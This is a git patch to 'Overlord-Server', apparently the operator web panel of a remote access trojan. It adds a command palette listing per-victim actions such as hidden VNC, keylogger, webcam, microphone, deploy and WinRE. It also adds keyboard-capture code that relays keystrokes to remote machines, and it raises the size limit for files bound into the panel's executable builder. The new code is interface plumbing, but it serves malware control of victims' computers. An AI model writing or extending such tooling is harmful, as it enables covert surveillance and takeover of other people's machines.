From 9c78483744f69482b4dca8e94a31255c0df5783a Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 14 May 2026 18:33:03 -0500 Subject: [PATCH] add command palet and do final fixes for inputs with remote desktop and hvnc from the client. --- Overlord-Server/public/assets/build.js | 2 +- .../public/assets/command-palette.js | 390 ++++++++++++++++++ Overlord-Server/public/assets/hvnc.js | 25 +- .../public/assets/keyboard-capture.js | 114 +++++ Overlord-Server/public/assets/nav.js | 2 + .../public/assets/remotedesktop.js | 37 +- 6 files changed, 535 insertions(+), 35 deletions(-) create mode 100644 Overlord-Server/public/assets/command-palette.js create mode 100644 Overlord-Server/public/assets/keyboard-capture.js diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 27e264e..ccf136f 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -1061,7 +1061,7 @@ if (cloneExeUpload) { } const MAX_BIND_FILES = 5; -const MAX_BIND_FILE_BYTES = 50 * 1024 * 1024; // 50 MB +const MAX_BIND_FILE_BYTES = 200 * 1024 * 1024; // 200 MB let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean } diff --git a/Overlord-Server/public/assets/command-palette.js b/Overlord-Server/public/assets/command-palette.js new file mode 100644 index 0000000..0fdb7ca --- /dev/null +++ b/Overlord-Server/public/assets/command-palette.js @@ -0,0 +1,390 @@ +import { NAV_GROUPS } from "./nav/template.js"; +import { CAPTURE_FLAG } from "./keyboard-capture.js"; + +const PER_CLIENT_ACTIONS = [ + { key: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` }, + { key: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` }, + { key: "rdp", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` }, + { key: "files", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` }, + { key: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` }, + { key: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` }, + { key: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` }, + { key: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` }, + { key: "deploy", label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` }, + { key: "winre", label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` }, +]; + +const RECENT_KEY = "cmdp_recent_v1"; +const RECENT_MAX = 8; + +let clientsCache = { items: [], ts: 0 }; + +async function getClients(maxAgeMs = 15000) { + if (Date.now() - clientsCache.ts < maxAgeMs && clientsCache.items.length) return clientsCache.items; + try { + const res = await fetch("/api/clients?pageSize=10000", { credentials: "include" }); + if (!res.ok) return clientsCache.items; + const data = await res.json(); + clientsCache = { items: Array.isArray(data.items) ? data.items : [], ts: Date.now() }; + return clientsCache.items; + } catch { + return clientsCache.items; + } +} + +function score(query, text) { + if (!query) return 1; + const q = query.toLowerCase(); + const t = (text || "").toLowerCase(); + if (!t) return 0; + const idx = t.indexOf(q); + if (idx === 0) return 2000; + if (idx > 0) return 1000 - idx; + let qi = 0, ti = 0, run = 0, best = 0, s = 0; + while (qi < q.length && ti < t.length) { + if (q[qi] === t[ti]) { + run++; + best = Math.max(best, run); + s += 1 + run * 2; + qi++; + } else { + run = 0; + } + ti++; + } + return qi === q.length ? s + best * 3 : 0; +} + +function rankBest(query, fields) { + let best = 0; + for (const f of fields) { + const sc = score(query, f); + if (sc > best) best = sc; + } + return best; +} + +function pagesFromNav() { + const out = []; + for (const g of NAV_GROUPS) { + if (g.hidden) continue; + if (g.href) out.push({ kind: "page", label: g.label, href: g.href, icon: g.icon, color: g.iconColor }); + if (g.children) { + for (const c of g.children) { + if (c.hidden) continue; + out.push({ kind: "page", label: c.label, href: c.href, icon: c.icon, color: c.iconColor }); + } + } + } + return out; +} + +function loadRecent() { + try { return JSON.parse(localStorage.getItem(RECENT_KEY) || "[]"); } catch { return []; } +} + +function pushRecent(href) { + const list = loadRecent().filter((h) => h !== href); + list.unshift(href); + localStorage.setItem(RECENT_KEY, JSON.stringify(list.slice(0, RECENT_MAX))); +} + +function flagFor(country) { + if (!country || country.length !== 2) return ""; + return ``; +} + +function clientLabel(c) { + const name = c.nickname || c.host || c.id; + const suffix = c.host && c.host !== name ? ` · ${c.host}` : ""; + return `${name}${suffix}`; +} + +function buildResults(query, pages, clients) { + const results = []; + + for (const p of pages) { + const sc = score(query, p.label); + if (sc > 0 || !query) results.push({ ...p, _score: sc + 50 }); + } + + for (const c of clients) { + const fields = [c.nickname, c.host, c.id, c.os, c.country, c.tag, c.group].filter(Boolean); + const sc = rankBest(query, fields); + if (sc > 0 || !query) { + results.push({ + kind: "client", + client: c, + label: clientLabel(c), + _score: sc + (c.online ? 30 : 0), + }); + } + } + + for (const a of PER_CLIENT_ACTIONS) { + const sc = score(query, a.label); + if (sc > 0) results.push({ kind: "action", action: a, _score: sc }); + } + + results.sort((a, b) => b._score - a._score); + return results.slice(0, 60); +} + +function makeIcon(faClass, colorClass) { + return ``; +} + +function renderRow(r, active) { + const activeCls = active ? "cmdp-row cmdp-row-active" : "cmdp-row"; + if (r.kind === "page") { + return `
+ ${makeIcon(r.icon, r.color)} + ${r.label} + page +
`; + } + if (r.kind === "client") { + const c = r.client; + const dot = c.online ? "background:#10b981" : "background:#475569"; + const os = (c.os || "").toLowerCase(); + const osIcon = os.includes("win") ? "fa-windows" : os.includes("mac") || os.includes("darwin") ? "fa-apple" : os.includes("linux") ? "fa-linux" : os.includes("android") ? "fa-android" : "fa-circle-question"; + return `
+ + + ${flagFor(c.country)} + ${r.label} + ${c.online ? "online" : "offline"} +
`; + } + if (r.kind === "action") { + return `
+ ${makeIcon(r.action.icon, r.action.color)} + ${r.action.label} + needs client +
`; + } + if (r.kind === "client-action") { + const c = r.client; + return `
+ ${makeIcon(r.action.icon, r.action.color)} + ${r.action.label} · ${clientLabel(c)} + action +
`; + } + return ""; +} + +function injectStyles() { + if (document.getElementById("cmdp-styles")) return; + const css = ` + .cmdp-backdrop { position: fixed; inset: 0; background: rgba(2,6,23,0.7); backdrop-filter: blur(4px); z-index: 9999; display: flex; align-items: flex-start; justify-content: center; padding-top: 12vh; } + .cmdp-panel { width: min(640px, 92vw); background: #0b1220; border: 1px solid #1e293b; border-radius: 12px; box-shadow: 0 30px 60px -10px rgba(0,0,0,0.6); overflow: hidden; display: flex; flex-direction: column; max-height: 70vh; } + .cmdp-input-wrap { display: flex; align-items: center; gap: 10px; padding: 12px 14px; border-bottom: 1px solid #1e293b; } + .cmdp-input { flex: 1; background: transparent; border: 0; outline: 0; color: #e2e8f0; font-size: 15px; font-family: inherit; } + .cmdp-input::placeholder { color: #64748b; } + .cmdp-list { overflow-y: auto; padding: 6px; } + .cmdp-row { display: flex; align-items: center; gap: 10px; padding: 9px 10px; border-radius: 8px; cursor: pointer; color: #cbd5e1; font-size: 14px; } + .cmdp-row-active { background: #1e293b; color: #f1f5f9; } + .cmdp-row:hover { background: #172033; } + .cmdp-label { flex: 1; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } + .cmdp-kind { font-size: 11px; color: #64748b; text-transform: uppercase; letter-spacing: 0.04em; } + .cmdp-status-dot { width: 8px; height: 8px; border-radius: 50%; display: inline-block; } + .cmdp-footer { padding: 8px 14px; border-top: 1px solid #1e293b; color: #64748b; font-size: 11px; display: flex; gap: 16px; justify-content: space-between; } + .cmdp-kbd { display: inline-block; padding: 1px 6px; border: 1px solid #334155; border-radius: 4px; background: #0f172a; color: #94a3b8; font-family: inherit; font-size: 10px; margin: 0 2px; } + .cmdp-empty { padding: 24px; text-align: center; color: #64748b; font-size: 13px; } + .cmdp-section { padding: 6px 12px 2px; font-size: 10px; color: #475569; text-transform: uppercase; letter-spacing: 0.08em; } + `; + const style = document.createElement("style"); + style.id = "cmdp-styles"; + style.textContent = css; + document.head.appendChild(style); +} + +function mountPalette() { + if (document.getElementById("cmdp-root")) return null; + injectStyles(); + const root = document.createElement("div"); + root.id = "cmdp-root"; + root.className = "cmdp-backdrop"; + root.innerHTML = ` + + `; + document.body.appendChild(root); + return root; +} + +let state = { + open: false, + query: "", + active: 0, + results: [], + mode: "main", + pendingAction: null, + pendingClient: null, +}; + +function close() { + state.open = false; + state.pendingClient = null; + state.pendingAction = null; + state.mode = "main"; + document.removeEventListener("keydown", onKeydown, true); + const root = document.getElementById("cmdp-root"); + if (root) root.remove(); +} + +function navigate(href, newTab = false) { + pushRecent(href); + if (newTab) window.open(href, "_blank", "noopener"); + else window.location.href = href; + close(); +} + +async function rebuild() { + const pages = pagesFromNav(); + const clients = await getClients(); + if (state.mode === "client-actions" && state.pendingAction) { + const action = state.pendingAction; + const matched = clients + .map((c) => ({ c, sc: rankBest(state.query, [c.nickname, c.host, c.id, c.os, c.country].filter(Boolean)) + (c.online ? 30 : 0) })) + .filter((x) => x.sc > 0 || !state.query) + .sort((a, b) => b.sc - a.sc) + .slice(0, 60) + .map(({ c }) => ({ kind: "client-action", client: c, action, _score: 0 })); + state.results = matched; + } else { + state.results = buildResults(state.query, pages, clients); + if (!state.query) { + const recent = loadRecent(); + const recentPages = recent + .map((h) => pages.find((p) => p.href === h)) + .filter(Boolean) + .map((p) => ({ ...p, _score: 9999 })); + if (recentPages.length) state.results = [...recentPages, ...state.results.filter((r) => r.kind !== "page" || !recent.includes(r.href))]; + } + } + state.active = 0; + renderList(); +} + +function renderList() { + const list = document.getElementById("cmdp-list"); + if (!list) return; + if (!state.results.length) { + list.innerHTML = `
No matches
`; + return; + } + let html = ""; + if (state.mode === "client-actions" && state.pendingAction) { + html += `
Pick a client for: ${state.pendingAction.label}
`; + } + html += state.results.map((r, i) => renderRow(r, i === state.active)).join(""); + list.innerHTML = html; + const active = list.querySelector(".cmdp-row-active"); + if (active) active.scrollIntoView({ block: "nearest" }); + list.querySelectorAll(".cmdp-row").forEach((el, i) => { + el.addEventListener("mouseenter", () => { state.active = i; renderList(); }); + el.addEventListener("click", () => activate(i, false)); + }); +} + +function activate(idx, newTab) { + const r = state.results[idx]; + if (!r) return; + if (r.kind === "page" || r.kind === "client-action") { + navigate(r.kind === "page" ? r.href : r.action.href(r.client.id), newTab); + return; + } + if (r.kind === "client") { + state.mode = "actions-for-client"; + state.pendingClient = r.client; + state.results = PER_CLIENT_ACTIONS.map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 })); + state.active = 0; + const input = document.getElementById("cmdp-input"); + if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); } + state.query = ""; + renderList(); + return; + } + if (r.kind === "action") { + state.mode = "client-actions"; + state.pendingAction = r.action; + const input = document.getElementById("cmdp-input"); + if (input) { input.value = ""; input.placeholder = `Pick a client for ${r.action.label}…`; input.focus(); } + state.query = ""; + rebuild(); + return; + } +} + +async function open() { + if (state.open) return; + state.open = true; + state.query = ""; + state.mode = "main"; + state.pendingAction = null; + const root = mountPalette(); + if (!root) return; + const input = document.getElementById("cmdp-input"); + input.focus(); + await rebuild(); + + root.addEventListener("click", (e) => { if (e.target === root) close(); }); + + input.addEventListener("input", () => { + state.query = input.value; + if (state.mode === "actions-for-client" && state.pendingClient) { + const q = state.query.toLowerCase(); + const c = state.pendingClient; + state.results = PER_CLIENT_ACTIONS + .map((a) => ({ a, sc: score(q, a.label) })) + .filter((x) => x.sc > 0 || !q) + .sort((a, b) => b.sc - a.sc) + .map(({ a }) => ({ kind: "client-action", client: c, action: a, _score: 0 })); + state.active = 0; + renderList(); + } else { + rebuild(); + } + }); + + document.addEventListener("keydown", onKeydown, true); +} + +function onKeydown(e) { + if (!state.open) return; + if (e.key === "Escape") { e.preventDefault(); close(); return; } + if (e.key === "ArrowDown") { e.preventDefault(); state.active = Math.min(state.results.length - 1, state.active + 1); renderList(); return; } + if (e.key === "ArrowUp") { e.preventDefault(); state.active = Math.max(0, state.active - 1); renderList(); return; } + if (e.key === "Enter") { + e.preventDefault(); + activate(state.active, e.shiftKey); + return; + } +} + +let inited = false; +export function init() { + if (inited) return; + inited = true; + document.addEventListener("keydown", (e) => { + if (window[CAPTURE_FLAG]) return; + const k = e.key.toLowerCase(); + if ((e.ctrlKey || e.metaKey) && k === "k") { + e.preventDefault(); + if (state.open) close(); + else open(); + } + }); +} diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 0f497e5..ec666ee 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -1,5 +1,6 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; import { checkFeatureAccess } from "./feature-gate.js"; +import { createKeyboardCapture } from "./keyboard-capture.js"; (async function () { const clientId = new URLSearchParams(location.search).get("clientId"); @@ -1074,22 +1075,22 @@ import { checkFeatureAccess } from "./feature-gate.js"; canvas.addEventListener("click", function () { canvas.focus({ preventScroll: true }); }); + const kbdCapture = createKeyboardCapture({ + container: canvas, + sendKeyDown: (e) => sendCmd("hvnc_key_down", { key: e.key, code: e.code }), + sendKeyUp: (e) => sendCmd("hvnc_key_up", { key: e.key, code: e.code }), + }); if (kbdCtrl) { kbdCtrl.addEventListener("change", function () { - if (kbdCtrl.checked) { - canvas.focus({ preventScroll: true }); - } + if (kbdCtrl.checked) kbdCapture.enable(); + else kbdCapture.disable(); }); } - canvas.addEventListener("keydown", function (e) { - if (!kbdCtrl.checked) return; - sendCmd("hvnc_key_down", { key: e.key, code: e.code }); - e.preventDefault(); - }); - canvas.addEventListener("keyup", function (e) { - if (!kbdCtrl.checked) return; - sendCmd("hvnc_key_up", { key: e.key, code: e.code }); - e.preventDefault(); + document.addEventListener("fullscreenchange", function () { + if (document.fullscreenElement === canvasContainer && kbdCtrl && !kbdCtrl.checked) { + kbdCtrl.checked = true; + kbdCtrl.dispatchEvent(new Event("change")); + } }); function stopOnExit() { diff --git a/Overlord-Server/public/assets/keyboard-capture.js b/Overlord-Server/public/assets/keyboard-capture.js new file mode 100644 index 0000000..502cb32 --- /dev/null +++ b/Overlord-Server/public/assets/keyboard-capture.js @@ -0,0 +1,114 @@ +export const CAPTURE_FLAG = "__overlordCapturingKeyboard"; + +function isEditableTarget(container) { + const el = document.activeElement; + if (!el) return false; + if (el === document.body) return false; + if (container && el === container) return false; + const tag = el.tagName; + if (tag === "INPUT" || tag === "TEXTAREA" || tag === "SELECT") return true; + if (el.isContentEditable) return true; + return false; +} + +const SYSTEM_KEY_CODES = [ + "Escape", + "Tab", + "ContextMenu", + "MetaLeft", "MetaRight", "OSLeft", "OSRight", + "AltLeft", "AltRight", + "ControlLeft", "ControlRight", + "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12", + "KeyT", "KeyN", "KeyW", "KeyL", "KeyR", "KeyS", "KeyF", "KeyP", "KeyJ", "KeyH", + "PrintScreen", +]; + +function tryLock() { + try { + if (navigator.keyboard && navigator.keyboard.lock) { + navigator.keyboard.lock(SYSTEM_KEY_CODES); + } + } catch {} +} + +function tryUnlock() { + try { + if (navigator.keyboard && navigator.keyboard.unlock) { + navigator.keyboard.unlock(); + } + } catch {} +} + +export function createKeyboardCapture({ container, sendKeyDown, sendKeyUp, onTextInput }) { + let enabled = false; + const pressed = new Map(); + + function handleDown(e) { + if (!enabled) return; + if (isEditableTarget(container)) return; + pressed.set(e.code || e.key, { key: e.key, code: e.code }); + if (onTextInput && !e.ctrlKey && !e.metaKey && !e.altKey && typeof e.key === "string" && e.key.length === 1) { + onTextInput(e); + } else { + sendKeyDown(e); + } + e.preventDefault(); + e.stopPropagation(); + } + + function handleUp(e) { + if (!enabled) return; + if (isEditableTarget(container)) return; + pressed.delete(e.code || e.key); + if (onTextInput && !e.ctrlKey && !e.metaKey && !e.altKey && typeof e.key === "string" && e.key.length === 1) { + e.preventDefault(); + e.stopPropagation(); + return; + } + sendKeyUp(e); + e.preventDefault(); + e.stopPropagation(); + } + + function releaseAll() { + for (const v of pressed.values()) sendKeyUp(v); + pressed.clear(); + } + + function handleBlur() { releaseAll(); } + function handleVisibility() { if (document.visibilityState === "hidden") releaseAll(); } + function handleContextMenu(e) { if (enabled && !isEditableTarget(container)) e.preventDefault(); } + function handleFullscreenChange() { + if (enabled) tryLock(); + } + + return { + isEnabled() { return enabled; }, + enable() { + if (enabled) return; + enabled = true; + window[CAPTURE_FLAG] = true; + window.addEventListener("keydown", handleDown, { capture: true }); + window.addEventListener("keyup", handleUp, { capture: true }); + window.addEventListener("blur", handleBlur); + window.addEventListener("contextmenu", handleContextMenu, { capture: true }); + document.addEventListener("visibilitychange", handleVisibility); + document.addEventListener("fullscreenchange", handleFullscreenChange); + tryLock(); + if (container) try { container.focus({ preventScroll: true }); } catch {} + }, + disable() { + if (!enabled) return; + enabled = false; + delete window[CAPTURE_FLAG]; + window.removeEventListener("keydown", handleDown, { capture: true }); + window.removeEventListener("keyup", handleUp, { capture: true }); + window.removeEventListener("blur", handleBlur); + window.removeEventListener("contextmenu", handleContextMenu, { capture: true }); + document.removeEventListener("visibilitychange", handleVisibility); + document.removeEventListener("fullscreenchange", handleFullscreenChange); + tryUnlock(); + releaseAll(); + }, + }; +} diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js index ac609be..5076059 100644 --- a/Overlord-Server/public/assets/nav.js +++ b/Overlord-Server/public/assets/nav.js @@ -10,10 +10,12 @@ import { mountNav } from "./nav/template.js"; import { createAdaptiveNavController } from "./nav/layout.js"; import { applyUserRoleUI } from "./nav/role-ui.js"; import { loadPluginNavItems } from "./nav/plugins-loader.js"; +import { init as initCommandPalette } from "./command-palette.js"; const host = document.getElementById("top-nav"); if (host) { const refs = mountNav(host); + initCommandPalette(); import("./cert-banner.js").then(({ showCertBannerIfNeeded }) => { showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host); }); diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 221fa98..d31734d 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -2,6 +2,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; import { checkFeatureAccess } from "./feature-gate.js"; import { WhepClient } from "./whep.js"; import { P2PClient } from "./webrtc-p2p.js"; +import { createKeyboardCapture } from "./keyboard-capture.js"; (async function () { const clientId = new URLSearchParams(location.search).get("clientId"); @@ -946,12 +947,23 @@ import { P2PClient } from "./webrtc-p2p.js"; mouseCtrl.addEventListener("change", function () { pushInputToggles(); }); + const kbdCapture = createKeyboardCapture({ + container: canvas, + sendKeyDown: (e) => sendCmd("key_down", { key: e.key, code: e.code }), + sendKeyUp: (e) => sendCmd("key_up", { key: e.key, code: e.code }), + onTextInput: (e) => sendCmd("text_input", { text: e.key }), + }); kbdCtrl.addEventListener("change", function () { - if (kbdCtrl.checked) { - canvas.focus({ preventScroll: true }); - } + if (kbdCtrl.checked) kbdCapture.enable(); + else kbdCapture.disable(); pushInputToggles(); }); + document.addEventListener("fullscreenchange", function () { + if (document.fullscreenElement === canvasContainer && kbdCtrl && !kbdCtrl.checked) { + kbdCtrl.checked = true; + kbdCtrl.dispatchEvent(new Event("change")); + } + }); cursorCtrl.addEventListener("change", function () { pushCaptureToggles(); }); @@ -1574,25 +1586,6 @@ import { P2PClient } from "./webrtc-p2p.js"; canvas.addEventListener("click", function () { canvas.focus({ preventScroll: true }); }); - canvas.addEventListener("keydown", function (e) { - if (!kbdCtrl.checked) return; - if (!e.ctrlKey && !e.metaKey && !e.altKey && typeof e.key === "string" && e.key.length === 1) { - sendCmd("text_input", { text: e.key }); - e.preventDefault(); - return; - } - sendCmd("key_down", { key: e.key, code: e.code }); - e.preventDefault(); - }); - canvas.addEventListener("keyup", function (e) { - if (!kbdCtrl.checked) return; - if (!e.ctrlKey && !e.metaKey && !e.altKey && typeof e.key === "string" && e.key.length === 1) { - e.preventDefault(); - return; - } - sendCmd("key_up", { key: e.key, code: e.code }); - e.preventDefault(); - }); function stopOnExit() { if (ws.readyState === WebSocket.OPEN && desiredStreaming) {